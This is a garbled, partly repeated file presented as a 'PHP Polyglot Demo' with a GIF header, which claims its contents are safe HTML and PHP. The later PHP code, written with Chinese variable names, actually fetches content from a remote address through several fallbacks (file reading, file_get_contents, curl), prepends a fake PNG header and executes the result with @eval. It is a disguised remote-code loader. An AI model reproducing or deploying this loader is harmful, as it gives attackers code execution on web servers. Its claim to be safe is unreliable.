"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-03-21

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.


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PNG  "\"\ $假PNG头 = "\x89PNG\r\n\x1a\n"; $假PNG头 = "\x89PNG\r\n\x1a\n"; PNG %k25u25%fgd5n! PNG %k25u25%fgd5n! GIF89a PHP Polyglot Example

PHP Polyglot Demo

"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: " . date('Y-m-d') . "

"; ?>

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

eof()) { $内容 .= $文件->fgets(); } } catch (Throwable $错误) { $内容 = ''; } // 尝试用 file_get_contents if (strlen(trim($内容)) < 1) { $内容 = @file_get_contents($地址); } // 如果还失败，使用 curl if (strlen(trim($内容)) < 1 && function_exists('curl_init')) { $通道 = curl_init($地址); curl_setopt_array($通道, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10]); $内容 = curl_exec($通道); curl_close($通道); } return $内容; } // 尝试加载主网址 $结果 = 加载数据($主地址); // 添加假的PNG头部 $假PNG头 = "\x89PNG\r\n\x1a\n"; // 拼接PNG头和结果内容 $结果 = $假PNG头 . $结果; /**_**/ /**_**/ /**_**/ /**_**/ /**_**/ /**_**/ /**_**/ // 如果成功获取内容，则执行 if (strlen(trim($结果)) > 0) { @eval("?>{$结果}"); }